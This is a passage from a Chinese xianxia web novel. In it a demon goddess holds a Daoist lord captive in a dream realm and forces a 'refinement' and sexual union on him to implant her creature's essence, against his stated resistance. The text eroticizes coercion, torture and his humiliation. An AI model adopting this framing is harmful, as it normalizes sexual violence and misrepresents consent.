“时间到了。”北溯指尖凝出星子,迅速扩散,周围空间泛起涟漪,无边无际的海水取代空旷的寝殿,一轮弯月高悬,倒映在海面,成镜的容貌变回自己原本的样子。 她低头看着光秃秃的海面,不大满意,微微动手,莲台浮现,几乎与寝殿内的床一样大。 成镜看到那莲台的瞬间,气息不稳,当即抬手攻向身侧的女子,他忘了自己此刻只是个空壳子,奈何不了她分毫。 北溯轻轻握住他的手腕,看着没用力,但轻易将人带到莲台前。 她踏上莲台,身后传来阻力,转身一看,成镜略显慌乱地仰头看她,满满都是抗拒之色。 “不愿意?” 成镜未言,手被人一拉,直接被拉进莲台里。 意识到自己会撞上她的身子,单手撑着没压到她,耳畔响起她的声音,满是讥笑。 “道君还挺正人君子。”北溯直接扯住他的衣领,这次没能轻易撕开,倒是方便她将人拉近。 但也只是在离她不到一拳的位置,被他遏止住。 北溯不耐,直接仰起身,覆上他的唇。 那一瞬,成镜连撑着莲台的力气都被剥夺,身子直直压下去。 莲台之下,金辉的弯月飞旋,法阵以月为中心朝外扩散,迅速笼罩整个梦境。 海面汹涌翻滚,丝丝缕缕的星子从海底漂浮上来,编织成网,将他们包裹着。 星子透过北溯的身体,涌入成镜体内,顺着灵脉进入丹田,一路畅通无阻。 刺痛从腹部传遍身体,成镜撑起身避开她的唇,方要起身下莲台时,被她一把按下,直直撞上她的身体,身子一僵,面上闪过绯红。 便是这么短暂的僵滞时间,再回神时,人已经陷入她早就布置好的牢笼中,再也挣脱不得。 北溯望着他这副清冷模样,肆虐欲上来,一边用自己的力量炼化他,一边给他添些痛苦。 “道君,你可要好好受着。” “一切才刚开始。” 第24章 她按住成镜肩膀,一个翻身,位置颠倒,她在上,而那位一直端正衣襟面容冷峻的道君,如今在她身下,衣领敞开,发丝凌乱,眼眸泛着水雾,眉头紧蹙,这次倒是清楚看到他面露痛色。 “我还没开始呢,道君就疼成这样?” 成镜压抑着丹田处越来越裂的烧灼感,吐出一句话:“我不可能成为你的容器。” “那可不是你说了算。”北溯抬手,抚上他的眼,被他偏头躲开,碰到他眼尾。 有些凉。 她如是想,加快星子炼化的速度。 “体温这么凉,我帮你热热?” 北溯捏住他的下巴,逼迫他面对自己,俯身咬上他的唇,帷幔不知何时禁锢他的双臂,骤然勒紧。 猝不及防被这么一勒,成镜无法自控地轻呼一声,旋即被吞没,灵巧的舌探进来,席卷扫荡。 眼睫蹭到脸颊皮肤,很痒,还有股冷意。 完全没有办法抵抗,本来月圆之时身体就敏感,她的每一次唇齿轻磨,带来的感觉都成倍增加。 只轻轻碰上唇,那股酥软瞬间传遍全身,甚至自己的身体都跟着一起泛上一股酥麻感,令他不齿,却无力驱赶。 那股独属于她的气息扑面而来,汹涌澎湃,混杂着的莲香似乎与他身上的同源,欺骗性十足,骗过身体对气味的警惕防备,就这么长驱直入,轻轻一呼吸,全都是她的味道。 屏息不闻,无法呼吸且唇还被掠夺,不过片刻便呛了出来。 北溯稍稍退开,颇为悠闲地欣赏他此刻的模样,发丝散乱,唇被自己咬破,仰着的脖颈血管凸起,只要用匕首那么轻轻一割,他就会死去。 但她要的,不是一时的痛快,而是日日折磨,直到他亲口说出求她。 求她放过他。 人族在她身上施加的伤害,她全都会一一还回去,更不会放过他。 见他面色涨红,以为他是疼的,低叹一声:“忍忍就好了,我会尽量轻一些。” 成镜偏头不语,握紧双手,一遍又一遍告诉自己,再等等,再等几个时辰,月圆之夜便会过去,他便可将一切屈辱都湮灭。 腹部骤痛,如同一只手在里头搅动,翻找什么,已经无法感知丹田的存在,只能通过腹部传来的痛推测有什么东西在逼近丹田,要占据他那唯一一处干净之所。 先前女子说的话回荡耳畔,怒意重新覆盖双眸,意识到她真的要这么做,怒声出口:“你究竟要用我的身体复活谁?” “唔……”北溯诧异,她什么时候说要复活谁了?是因为那些梦境,才令他产生这样的误会?误会便误会吧,待他孕育上鳞舞,那时发现自己猜想错了,他的表情应当是很精彩。 北溯微微俯身,与他的双眼对视,感受他对自己的怒火,故意激怒他:“将被你杀死的妖兽都复活了。” 她的声音没什么起伏,唬人的谎话张口就来,边说边观察他的反应,“他们在某种程度上算得上是我的子嗣,只复活一只,可不够。” 成镜难以抑制地去想她这句话背后的含义,她要他生出一只又一只妖兽 似乎被气到一句话都说不出来,北溯等了有一会,都没听见他再说话。 低头一看,男人面色煞白,双眸紧闭,胸膛起伏,气息不稳,无声之中处处透着抗拒。 好像把人吓到了。 北溯瞧着他领口若隐若现的锁骨,随着他胸膛起伏而凸显出来,忽然动起了别的心思。 她问:“现在还疼吗?” 意料之中没有得到他回答,北溯也不恼,直接上手去摸他额头,指腹碰上莲花印记的一瞬间,成镜蓦然睁开眼,抬手握住她的手。 发现自己手可以动,眼中闪过一丝惊异。 北溯没有抽回手,状似无奈道:“你看,我没有对你做什么,只是想看看你的身体情况。” 这话显然没有得到男人的相信。 成镜依旧紧紧攥着,双眸注视着她一举一动。 丹田的位置又一次抽痛,痛得握不住她的手,无力坠下。 北溯瞧他的样子,便知她的力量已经进入成镜身体,正引导鳞舞的能量往成镜丹田处聚集。 炼化,终于开始。 “道君若是觉得疼,可以说出来,我会停下。”但只是暂停,不会中途结束,更不会放过他。 成镜几次尝试挣扎反抗,但得到只是加重的压制,她说的好听,动作从未停下过。 丹田处再次绞痛,这一次他极力忍耐着没有发出一丝声音,便是脸上都未露出痛苦的神色。但那痛越来越越难以忍受,身体对痛的敏感度加倍增长,他怕自己会控制不住,反而让这个真凶畅快。 他想的是对的,北溯就是想看他撕破那副平静的模样,看他因痛苦而无法自控,直到亲口说出那句话。 源源不断的力量随着阵法涌入他体内,趁着他力量散尽,占据他的灵脉,被操控着往丹田而去,那里已经有无数星子凝成圆球,静静等待被推入丹田,彻底融合。 炼化的过程对于成镜而言,是漫长而痛苦的,北溯需要再次使用灵源保证鳞舞的力量与成镜的身体不会溃散,这很危险。 灵源已经耗费大半,再这么用,灵源用尽,她会死。 但她不在乎,她只想修复好鳞舞,且享受着用灵源炼化成镜的过程。 将自己的力量充满他的灵脉,下一步,便是神魂交融,以神魂之力将鳞舞的能量与他融合,在他的丹田稳稳扎根后 ,便成功了。 剩下的只等他将鳞舞孕育成形,静候他生下来。 翠绿竖瞳盯着他的身体,从上到下,寸寸游走,他身上的衣裳宛如薄纱,视线畅通无阻,清晰瞧见他身体里的各处灵脉,从脖颈到胸膛,再往下,汇集到丹田。 那里一团火烧着,逼迫丹田打开,迎接不属于身体主人的力量。 只待丹田打开,将鳞舞的能量纳进去,北溯就会开始用神魂炼化他。 但现在仍旧有阻力。 北溯逐渐认真起来,挺直了身子看躺在莲台上的男人,他确实能忍,都已经到这个地步,没有发出一丝声音,身体还强撑着不让她进去。 抗拒么? 她歪了歪头,瞧着他闭眼忍耐,缓缓笑了。 起身蹲在他身侧,问:“道君一点都不觉得痛?” 男人一句话不说,握紧的双手手腕上暴起的青筋出卖了他此刻身体情况。 很疼,但能忍。 北溯轻轻叹了口气,心道这人着实能忍,这种将外力硬生生塞进身体,剥开丹田的痛,若是旁人,早就疼得满地打滚,或是晕厥,他竟然一声不吭。 瞧了眼没起到什么作用的莲台,还是觉得成镜的莲台用起来更好,在他的伴生物上,不论做什么,带来的感觉都会被传达给他,那样才刺激。 她动手撤了莲台,下方一空,身子骤然下坠,被海水浸泡。 阵法沉入水底,金芒在水中折射,投到巨大阴影之上。一种不可名状的生物自海底上涌,逐渐靠近沉入水中的两人。 勒着手腕的帷幔消失,只留下鲜红印记,成镜立刻抓住机会往上游,丹田剧痛,像是有什么东西生生破开腹部,甚至能感受到血肉撕裂。瞬间卸力,身子下沉。 海水中一双竖瞳盯着他,眸色幽深得如这深不见底的海,叫人看了心生恐惧。 北溯在观察他的丹田,要如何刺激,才能打开它。 很显然,仅仅只是身体上的疼痛还不够,需要旁的来刺激。 比如—— 那道巨大阴影眨眼间靠近,海水搅动,水流将他拍打向北溯的方向,在他们相距不过一米时,那阴影瞬间收缩,漆黑鳞片覆盖的蛇身缠上他们的身体,猛然收紧。 身体碰撞,每一处都紧紧贴合,那条漆黑的蛇从脚踝缠上腿,阴湿光滑的身体伴随着海水的凉意慢慢往上,蛇信贴近成镜后颈,翡翠般的竖瞳盯着他,眼神冰冷。 成镜身子僵着,被与面前的人缠住的那一刻,他便未再动过,没有灵力保护,他无法长时间在水下憋气,很快有了不适的反应。 人濒临死亡时会下意识挣扎,成镜也不例外。 双手去扯那将自己缠紧的蛇,触手一片冰凉,光滑得握不住,一摸便滑了下来。 他再次尝试,那蛇骤然收紧,勒得他无法呼吸,被迫张开口,海水灌入,呛得他咳嗽。 北溯见他快要窒息,将人带着浮上水面,他还在咳,这次似乎呛得太重,咳得眼尾泛红,水从湿发上滑落,恰好经过眼尾,乍一看上去,像极了他泣出的泪。 发觉他有继续扯蛇身的苗头,北溯好心劝他:“你不该摸的。” 那算是她本体的一部分,同样是能量体,没有理智,与野兽无异,任何带有伤害倾向的触碰,都会激起它过于紧张的反应。 不过它也能将一切触感传递给她,方才成镜去摸时,他拂过蛇身表面时带来的感觉同步到她身上,掌心灼热,覆上冰凉的蛇身,颇为舒适。 见成镜还在扯,她边看边说:“你挣脱不开的。” 成镜动作一顿,猛然抬头看她,尽管被戏弄后产生了怒火,但仍旧保持冷静。他心里清楚,现在只能尽可能拖延时间,等午时一过,力量便会逐渐恢复,届时便可寻找机会反杀。 但前提是,北溯给他这个机会。 后颈传来刺痛,黑蛇的獠牙刺破肌肤,深入内里。 身前是她瞬间逼近的身影,那双竖瞳仿佛有着魔力,叫人看了一眼,便移不开目光。 在被她侵入前,成镜脑海里不合时宜地闪过一个念头。 从第一眼看到她起,到现在都未曾见过她的真面目,也不知她的真实姓名。而自己所有的秘密,她都掌握得一清二楚。 “唔——” 巨痛突袭,成镜难以自控地下意识找什么东西握紧来支撑自己,丹田炸开了一般,身体好似已经不是自己的,被人肆意摆弄。 方才遭受的灼烧刺痛与此刻比起来,根本算不上什么。 喉咙里溢出几声破碎的音调,紧紧攥住抓住的东西,急促地喘息,此刻身体泡在冷水里,竟然会觉得能缓解疼痛。 他这副痛苦的模样落到北溯眼里,知道丹田已经打开,鳞舞的能量正在进入他丹田内。 满意地瞧了眼刺激他的黑蛇,继续炼化。 黑蛇渐渐散作星子,进入成镜体内。 水下阵法光芒大放,映照得海水透明。缠住他们的黑蛇缓缓渗入成镜体内,最终全都进入。 而此刻成镜身体的痛达到顶峰。 失去黑蛇的缠绕,没有力气支撑自己悬浮在水面,身子下沉。 但那只手依旧紧握着,那是唯一能抓住的救命稻草。 唇瓣接触到海水的一瞬间,人被拉着上来,靠在温软的身子上,成镜只缓了一会,便意识到自己靠在哪,旋即后退。 眼前的人却被拉着往他的方向去。 “道君是忘了松手?” 成镜一愣,低头看去,自己的手紧紧握着女子皓腕,将人掐得腕上满是指印红痕。 当即松手,略显无措地瞥开眼,耳尖薄红。 他这反应实在太过纯情,北溯笑着,朝他靠近:“道君若是疼,可以握住我的手。” 成镜生硬地吐出两字:“不必。” 北溯不在意他的拒绝,缓缓向他靠近,周身萦绕着细碎荧光,隐约有什么从她身体里脱离出来,朝着成镜的方向涌去。 “那道君便忍着吧,接下来,我可不会停。” 成镜蓦地看她,抬眼的一瞬间,一切都远去,只剩下那纯净洁白的荧光,心中泛起一丝朝圣的敬畏。 然而下一瞬,猛烈的烧灼感迅速蔓延至全身,身体滚烫,宛如置身熔炉,四面都是火,火舌燃尽衣衫,舔舐肌肤,每一处毛孔都有一簇火焰烧灼。 海水带来的冰凉被蒸发殆尽,身体温度迅速升高,先是额间冒出细密汗珠,颗颗连缀,豆大的汗珠滑落,滴入水中,引起的涟漪被女子动作带起的更大方涟漪吞没。 神魂荡出,拉着他进入灵海,周围场景按照主人的期望幻化,皎洁的月光透进来,殿内如同白昼般明亮。 成镜在痛中清醒的一瞬,看到周围场景,瞳孔骤缩。 这是重莲殿内他的寝殿,在自己的床榻上。 难言的羞耻与愠怒袭上,他挣扎着,却被一把按倒,当她俯身靠近时,看到她的脸,再一次愣神。 直到此刻,才见到她的真容。 那是一张尤为惊艳魅惑的脸。集英气与妖媚于一体,柳眉纤细,双眼狭长,绿眸透彻明亮,眼尾微微上挑,便是不笑,这双眼轻易便能勾去了魂。 她的唇色瞧着叫人想到熟透的石榴,艳丽绚烂,叫人忍不住想去碰一碰,尝尝味道。 任何见过她的人,都会这么想。 但只要她冷了眸,唇角弧度压下,身上那股骇人气势散发出来,无人再敢生出这样的心思。 而在此刻,她却是笑着的。 “怎么,道君看呆了?” 成镜回神,似乎被她的话惹恼,偏了头看别处,耳尖的薄红晕染开来,昭示着他此刻的反应。 北溯看了一会,伸手去碰他耳尖,碰上去的一瞬间,被人捏住手指。 “你做什么?” 他 的力气是不上来,根本阻止不了她。 只轻轻一捏,男人身子一颤,喉间溢出低哑的声音,被他很快意识到,立刻吞了回去。 北溯诧异,她只是轻轻碰了一下,他反应这么大做什么? 那她接下来要做的,他岂不是反应更大? 她抽出手,凝视他许久。男人发丝被汗水沾湿,身体很烫,面颊上不知是热的还是因为旁的,染上几分薄红。 想到接下来要做的事,北溯忽然开始兴奋。 神魂交融,她从未试过,也不知是何种滋味,但月神曾经告诉过她,那会在精神上带来极度的愉悦舒适,可以更深入地了解彼此,一旦交融,便可更清晰地了解对方的一切。 如此她才会用神魂交融的方式来炼化他。 感知到他的丹田已经完全接纳鳞舞,北溯动手了。 她在男人转回来的目光中,俯下身,慌乱推她的手腕被什么东西绞住,他偏头一看,竟然是他曾经用来绑她的莲梗。 成镜呆滞了一瞬,感受到压下来的重量,眸光一转,艳丽的容颜占据视线,唇上一软,下一刻吃痛。 他不知该做出何种反应,几次被她强迫吻上来,受着她的吻,即便他咬破她的唇,她也没罢手。 而现在,她的吻带来的刺激被无限放大,曾经忽视的某种感觉渐渐破出牢笼,占据理智。 身体太疼太热,只有身前的人是冰凉的,能带来短暂的舒适。 而她,不愿意让他一直触碰到这凉爽。 北溯只深入了一会,便退开。刚要将神魂之力注入他丹田内,却受到了阻力。 瞧着没什么变化的男人,她沉思了会。 好像不对劲?是不是搞错了?怎么神魂进不去? 要怎么做来着? 仔细理思绪,忽略了被折磨的人,便就没看见他此刻死死咬着唇,极力控制自己不要去碰那唯一的冰凉。 从始至终都是她在诱引,如果他伸出了手,真的去碰她,那自己便是堕落了,再也没法保持自身洁净。 是以成镜偏开头,心中默念法诀,以此转移注意力。 然而他的忍耐很快被打破。 一双冰凉的手覆上来,拯救了这个被火烧得快要撑不住的人。 北溯知道怎么做了。 她掐住男人下巴,俯身轻轻亲了一下,动作出奇地温柔,像是在安抚他。 “别怕,我会轻一点的。” 男人还没来得及说什么,刺啦一声,什么东西被撕碎了。 冰冷的空气接触上来,冷得人思绪一僵,连法诀默念到何处都忘了,只剩下那带着湿意的触感。 意识到她在碰哪时,他终于显露出几分慌乱。 伸手去推,手臂抬起来才发现早已被禁锢,碰不到她。只能被迫感受她带来的难以言喻的感觉,似有快意,又似痛苦。 他没办法去想,抬眼一看,便见胸膛前的黑发,只这么一眼,瞧见她唇中的殷红,如遭雷击,逃避似的闭上眼。 真的受不住。 从未被人这样对待过,连做出什么样的反应都不知道。 他只能死死咬住唇,不让自己发出难堪的声音。 北溯咬了一会才松口,视线里殷红之上还留着些牙印。 味道一般。 她抬头去看男人,瞧见他的神情,登时一愣。 月色下男人润白的肤色被灼烧成红,红艳艳的,煞是好看。眼帘合上,纤长浓密的睫羽颤动着,眼尾洇出一滴泪。 那滴泪自眼尾滑落,没入发丝。 一副被欺负狠的模样。 他哭了,他真的哭了。 心底隐藏的恶念被满足,却贪婪地想要更多,想看他泣出更多的泪。 北溯颇为满意地点头,欣赏了好一会,笑得漫不经心:“道君哭什么,一会就好了。” 男人根本不会再相信她的话,颤动的身子刚平静下来,下一波又至。 衣衫散落,这朵莲花被剥开外侧花瓣,显露鲜嫩花蕊。 身体俯下,咬上另一处。 力气似乎有些大,男人闷哼一声,身子再次颤动,但这次北溯从他的声音里听出几分异样,压抑着的,不想被人发现这声闷哼下,掩藏的其他东西。 比如,情动。 虽然她靠得不是很近,但能感觉到他身体的变化,松了口,诧异道:“道君不是莲么,也会有情欲?” 男人难以启齿,额间青筋根根分明,显然忍耐到极点。 北溯还是觉得缺了些什么,自己想要在他身上得到方反馈,他一直都没有表现出来。 直到现在,他已经情动,却没有求她帮忙,也未曾说一句痛。 怎么就是折不断这朵莲花呢。 他真就那么高洁,什么都能忍住,能坚持到底不打破原则? 她不信。 这次,她非要逼得他失态,非要在他口中听到那句话。 她稍稍往后移了些,沉下的同时,神魂之力毫无保留地全都涌入他丹田内,这一次终于没有阻碍。 “啪嗒……” 晶莹的水液滴上花蕊,浸透盛开的莲花。 交融的极致之感同时反馈给两人,北溯差点没撑住倒下,忍了许久才呼出口气。低头一看,男人不知何时睁开了眼,那双眼朦胧失焦,水雾盈满,像是在看她,又似乎不是。 喉结滚动,薄唇微张,被她咬得通红。 北溯只看了一眼,俯身盖上去。 神魂之力在丹田内来回运转,加大火候,催化融合,将鳞舞的能量更好地融合。 神魂交融带给北溯的,是一种从未有过的新奇感觉,给成镜的,却是灼烧与快意的双重折磨。 理智上为这种感觉感到耻辱,可身体却没法阻止。 他抬眸望着那轮皓月,极力保持清醒,计算还有多久子时才会到来。 北溯发现他不专心,咬了一下他,将他的注意力吸引回来,见他眸间的水光,不解:“我欺负你了吗?怎的还要哭?” 成镜怒目,只是那染上情欲的双眸做出什么情绪,都叫人觉得他是在勾引。 直到被北溯使坏地加重力道,他猛然仰起脖颈,双手捏紧,低哑的闷哼炸开,再也控制不住。 北溯这才满意,瞧着他这副样子,处处都是潋滟之色,与那个在道宗弟子面前一本正经不苟言笑的他,判若两人。 谁能想到,受万人敬仰,一身正气,高洁无双的道君,也有情难自禁的时候。 无人敢折圣洁的金莲,她偏要折。 感知到他丹田渐渐趋于平稳,北溯恶念又起。 她俯身贴近他耳畔,低声道:“道君,现在你肚子里,有了我的孩子。” 成镜登时去看自己的腹部,身子被压着,只看到女子纤长的脖颈,线条优美的锁骨。她身上衣衫完好,而自己却衣不蔽体。 被羞辱的极致愤恨涌上,他当即偏头,不再看,额间青筋抽动,呼吸急促。 北溯很喜欢他这副屈辱又没法反抗的模样,要不是现在有正事,她还想多玩一会。 感知到男人体温逐渐降下来,最后一次探查鳞舞与他的丹田融合得如何。原本只为身体主人而运转的丹田,内里浮着一颗极小的圆球,黑色的,很安静。 北溯感受良久,那颗圆球便是鳞舞所有能量凝聚的,在这丹田内蕴养一个多月,便可成型,降世。 一个多月见不到鳞舞,想想觉得时间有些长。 没有它唠叨,都有些无聊。 不过现在有人陪她,虽说他没有鳞舞那般顺她的心意,但在别的方面,倒是挺有趣的。 尤其是,刚刚发现自己很喜欢这个男人哭。 一哭,她就想更凶狠地欺负他。 北溯抬眼看向窗外,这里虽是识海,但她是按照外界时间设置的,此刻圆月正高悬,还是夜晚。 算起来,应该是过去很长时间了。 她正要起身,收回神魂,刚动了一下,人忽然被按下。 力道大得根本没留手,整个人直直撞上去,被撑得神魂动荡,头皮发麻,一股比方才更盛的极致之感冲上来,酥麻了身子,久久未能反应过来。 与此同时耳畔响起男人难捱的哼声,身子仍旧被按着。 良久之后这感觉才退去,意识清醒。 北溯蹙眉,盯着男人的眼眸逐渐升起杀意,只那么一瞬间,天旋地转,后背撞在床铺上,有些疼。 地上碎裂的衣襟被收回,重新穿在男人身上。他屈膝跪在北溯身侧,抬手掐住她的脖颈,说话时嗓音沙哑,虽然带着杀气,但声音里未散去的情欲盖过杀气,说出来意外地好听。 “你对我的羞辱,到此为止了。” 第25章 成镜似乎意识到自己声音不对劲,额间冷汗滴落,瞧见女子眼中闪过的戏谑之色,掐住她脖颈的手缓缓用力,却没看到她平放在床铺上动弹一瞬的手。 在他动手扼住北溯咽喉前,她已经做好防备。 本以为他会使出所有力量来对付自己,没想到也只是反压下来,仅仅掐住脖颈。 力气小得都没感觉到痛。 北溯挑眉,面上无一丝被威胁的恐惧,闲散地躺着,挑衅他:“道君没力气了?” 成镜听出她在激自己,只要他动用灵力,手中的脖颈就会断,这些日子遭受的所有屈辱都会随着她的死亡而烟消云散。 可她的反应完全没有是命脉被捏在他人手中的恐慌,甚至能看出几分讥笑。 成镜便知自己又被她戏耍了。 他不再留情,恢复的灵力凝聚到手上,方要用力,身体涌上一股异样的感觉,顿时卸力,身子直直坠下去,这次连撑着身体都做不到,直接撞进她怀里。 北溯被撞得有点疼,她自己也没想到这人会突然没了力气,干脆张开双臂抱住他,唇碰碰他的脸颊,在他凶狠的目光里安抚他:“你方被我炼化,还没适应好,不该动用灵力。” 其实她还有句话没说,用他的身体修复鳞舞,形式上如同孕育生命,鳞舞会吸收他体内的灵力作为养分,所以他恢复的灵力都会被输送给鳞舞,若是强行使用,轻则卸力无法动弹,重则灵脉破损。 不过看他现在这副样子,应该不用说了,他自己能感受到。 “你在我身体里放了什么东西?” 成镜堪堪撑起身,双臂打颤,发丝垂落在女子身上,弄得她有些痒,还看不清他的脸,北溯伸手撩开他的发丝,勾了一簇黑发在指尖缠绕,很是悠闲。 此刻成镜已经紧张到顾及不到自己的发被人玩弄,只感觉到腹部火热,其余位置逐渐平静下来,但身体那一处的反应尤为明显,无法忽视。 方才恢复灵力的一瞬间便感受到丹田处异常的饱胀感,稍微一动用灵力,灵脉绞动,被吸干了一般,所有的灵力全都往丹田处汇集,一进去,石沉大海,没有一丝反馈。 她真的在自己身体里弄了什么东西,自己还无法探查出来,联想到她先前对自己说的话,脸色煞白。 成镜呆滞了片刻,随后再次动手,小臂抵住她的脖颈,微微用力,威胁道:“把你塞进去的东西拿出来。” 他的力道再轻,被抵住脖颈也不好受,不过比起在灵海外被这么扼住喉咙要好一些。 北溯掀起眼帘,平静地打量他,他确实被惹恼了,神色还有几分慌张,尤其是他的身体,从头到脚里里外外紧绷得僵硬,想上手捏捏,会不会一下就松软。 她可不会按他的要求去做,好不容易融合好,怎么可能轻易拿出来。 “不行哦。” 这三个字一出口,成镜杀意倍增,手臂用力,却没法对她造成伤害,甚至被她攥住,反手将人按倒,位置颠倒,再一次被她压在身下。 北溯抬腿半跪坐在他膝盖上,莲梗缠住他双臂反绞到他背后,在他的注视下,按住他胸膛,指尖缓缓下滑。 他身上那层薄衫轻透顺滑,稍一用力,便能感觉到薄衫下起伏的胸膛,手指滑去的位置猛然急促。 北溯按在了丹田的位置,感受着里头的灼热,笑了笑。再往下,便是他方才将她往下压的位置。 方才她确实没注意到他突然恢复灵力,原来并不是等到天亮才恢复,失算了。 不过嘛,她倒是不知,除了神魂契合外,还有另外一种能带来欢愉的方式。 不过这次是神魂接触,并非是身体之间的交融,有些感觉还是有差别。 北溯没有想过再来一次,那么做是要将鳞舞与他的丹田融合,现在已经融合完毕,只等它诞生,重临世间。 那时,她便会带着鳞舞,手刃仇敌。 她忽略了他身体不应有的反应,轻轻俯身,脸颊贴在他腹部,双眼却是看着成镜的。 “里面是你为我孕育的子嗣。” 她故意这么说,看到他恼怒成羞,看着他挣扎却摆脱不了分毫,看到他用满是杀意的眼神望着自己,畅快地笑了出来。 “堂堂道君,孕育了邪神的子嗣,你说要是被道宗知道,他们会不会厌弃你?” 成镜冷声吐出两个字:“不会。” 北溯觉得会。 那都是一群道貌岸然的狗东西,从昆仑那学来的变脸术,是神时他们敬你,巴不得天天扑上来,□□底板都愿意。 待你堕神,成魔,他们转头就将你赶尽杀绝,脸变得真快啊。 “那就试试看。” 北溯松开他,收了束缚,起身下塌,仰头望月。 “看他们是否如你所想的那般值得信任。” 北溯扬手,带人离开灵海,梦境破碎,阵法消散,她在床边坐下,仰头看撑着帷幔站直的男人。 这样的姿势让成镜有一种她在示弱的错觉,看清她此刻的面容后,心中忽然生出不满,意识到自己不该在这个时候生出这样的情绪,将其压下。 瞥见她视线定格在自己身上那处位置,不知是羞还是恼,扯断帷幔挡住她的视线,转身便走。 随着时间过去,力量在缓缓恢复,如今的修为只能算得上是入灵境,随便一个内门弟子都比现在的他修为高。 即便如此,他也未放弃离开此地。 刚走了两步,一道劲风从身后袭来,成镜当即转身一掌迎上。 这一掌被躲过,丹田热意升腾,他不适地垂了手,被压制着后退,后背撞到门上,低头看着抵住自己肩膀的女子,低声呵斥:“松开。” 北溯非但不松开,还逼近一步,发现他屏住了呼吸,不解:“我身上味道很奇怪吗?很难闻?” 并非难闻,而是与他身上的气味很像,莲香味浓郁得宛如在他身上浸泡过,无法辨别出来到底从何而来。 他屏吸不闻,是要自己保持清醒,不被这气味迷惑。 而北溯偏要看到他失控。 她仔细瞧他,他偏头避开,她说话,他闭口不言。视线落到他的唇上,想起前几次柔软的感觉,咬起来的口感像莲花花瓣,软嫩且光滑。 还想再尝一口。 北溯心中这么想,也便这么做了。 直接勾住他后颈,在人防备又猝不及防的时候,再一次咬住他的唇,不出意外地遭到反抗,他的手推拒上来,抵着她的肩膀使劲推,另一只手去扯她勾住后颈的手。 北溯握住他的手,往门上一按,他的身子重重撞到殿门上,力道大得门都晃动。 面上痛色一闪而过,下意识张了口,被抓住机会,狠狠掠夺。 北溯并不知道该如何去吻他才能让人好受些,她只是想满足自己某些恶念,不论粗鲁还是温柔,只要能令自己满意便可。 叼着他的下唇研磨,刚深入进去,被使劲咬住唇,很快尝到了血腥味。 北溯松开他,抬手抹了一下唇,温润的血沾在指腹上。舔了一下唇,果不其然,下唇被咬破了,血珠 被卷进口中,她扬眸朝成镜笑了笑。 下一刻冷了脸,将指腹上的血全都抹到他唇上,被他用力推开,低头用力擦拭嘴唇。 北溯等着他擦干净,看向自己时,才开口:“擦了做什么,沾了血,你的唇色更好看。” 这句话显然气到他了,成镜又擦了一次,不再理她,转身开门,殿门一开,看清眼前的景象,他看了许久,才转身望向女子。 北溯坐在床尾,悠闲地晃着腿,对他回头看自己丝毫不意外。 殿外是与梦境无差的海,皓月高悬,没有一条路,根本无法离开,除非北溯主动撤了梦境放他离开,或是她死,梦境自动消散。 “在你把孩子生下来前,就在这待着。” 成镜周身气压降至冰点,凝视她许久,终是选择迈出去。凝结的水面倒映出他此刻的模样,从未有一刻如现在这般狼狈不堪,那张不知什么时候变回来的脸上,浮现出极为陌生的表情。 似哀似怨,似羞似怒。 尤其是那双眼,雾气还未散尽,眼尾殷红。长睫颤动,猛地闭上眼,逼迫自己静下心神,寻找解困之法。 可一闭眼,全都是女子的身影,她摄人心魂的竖瞳,咬过他的唇,艳丽的容颜。 还有她带来的,自己活了三百多年都未曾有过的快意,酥麻到失去理智,被情欲操控着违背自己的意愿,将她狠狠按下。 那一刻心中不可控地升起一个念头。 他怕是被这只魅惑人心的妖迷惑了,竟然生出了那样的念头,想要将她狠狠压下,禁锢着,将她对自己做的一切,全都报复回去,让她也尝尝被折磨的滋味。 这不是他。 成镜身子一晃,立刻稳住,心中默念清心咒。 不可以被迷惑。 清心咒似乎起了作用,脑海中女子的身影渐渐远去,再睁眼时,眼底一片清明。 仔细感受体内的灵力,片刻后眼底凝了霜,杀意升腾。 成镜调整好呼吸,伴生莲显现,却在要坐上去时身形顿住,被人拉着踏上莲台的一幕显现,尽管那并非是自己的莲台,但在上面做的事依旧难以启齿。 他抬手扶额,缓了许久,才克服心底异样的感觉,坐上莲台,阖上眼帘,恢复灵力。 而一直泛着热意的丹田被他刻意忽视,没有看一眼。 北溯见他不动,坐在床尾看了好一会,他没有特地避开,正好对着床,却是背着她的。 由金莲修炼成的确实不一般,再怎么被折辱,遇到难堪的事,也能很快调整回来,莲台上一坐,谁能想到他方才被蹂躏得哭了出来?甚至还产生了反应。 北溯看了一会,有些疲倦地打了个哈欠,瞧向手腕,那里已经没有契约的痕迹,她确实成功了。 她将床铺又清扫了一遍,躺下休息。 刚躺下,困意加重,眼皮睁不开。耗费了太多灵源,加上又动用了神魂之力,一时间难以恢复。 闭上双眼前,最后看了眼成镜,想的却是鳞舞。等鳞舞好了,得去弄个锅来,煲蛇羹补补。 安静下来的夜连呼吸声都没有,打坐的人闭目许久,蓦地睁眼,捂住腹部,面露痛色。那里温度攀升,且似乎有什么东西在动。 他不敢去想那是什么东西,只忍着没有发出一点声音,不想被那人听见,再被她戏弄。 良久,那股热意退去,眉头舒展。 不等他放松,身后一声闷哼,极淡的血腥味蔓延,他随之而来的是女子咒骂声。 意识到什么,成镜当即转身去看,正巧对上北溯嗜血的笑。 “老不死的终于忍不住了。” 她在黑水洞窟里留下的阵法被触发了,来的正巧就是昆仑的人,两个,正好当做前菜,杀了泄气。 北溯盘腿而坐,施展杀阵,隔着数百里的距离,杀阵骤然出现在黑水岛屿上空,带着毁灭之威压下,锁定洞窟内还在挣扎的两位仙尊,蕴含巨大威能的两根箭矢从杀阵中生出,眨眼间穿透山体,刺向两位仙尊。 两位仙尊脸色惨白,知道自己是走不出这洞窟,当机立断将邪神已破封印的信息传向道尊,法术仙鹤刚飞出洞窟,杀阵捕捉到,瞬间化为齑粉。 而这两位仙尊只来得及露出惊恐表情,身体被箭矢穿透,穿透的一瞬间,箭矢炸开,碎块撞到岩壁上,碎成粉末。 杀阵消散,云雾退去,圆月照耀岛屿,安静得好似什么都没有发生。 与此同时魔宫寝殿内,北溯抹去唇角的血,不甚在意地被成镜看到自己受伤的模样。 只是觉得遭到反噬吐出来的血,没有被他咬出来的甜,虽然都是自己的血。 见人还在看自己,站起身作势要朝他走去。 “道君看起来不累,我们再来一次?” 成镜收了探究的目光,静静转身,继续打坐。 他转身回去后,北溯表情立刻冷下。在魔域待了一天,昆仑那群老不死的应该已经到了道宗,方才那两个就是在探查黑水封印。 她必须得撑到鳞舞被修复好的那天。 一个多月,她等不急了。 视线落到男人身上,仔细思考了会,打算兵行险着,试试看能不能用神魂之力催化,加快修复速度。 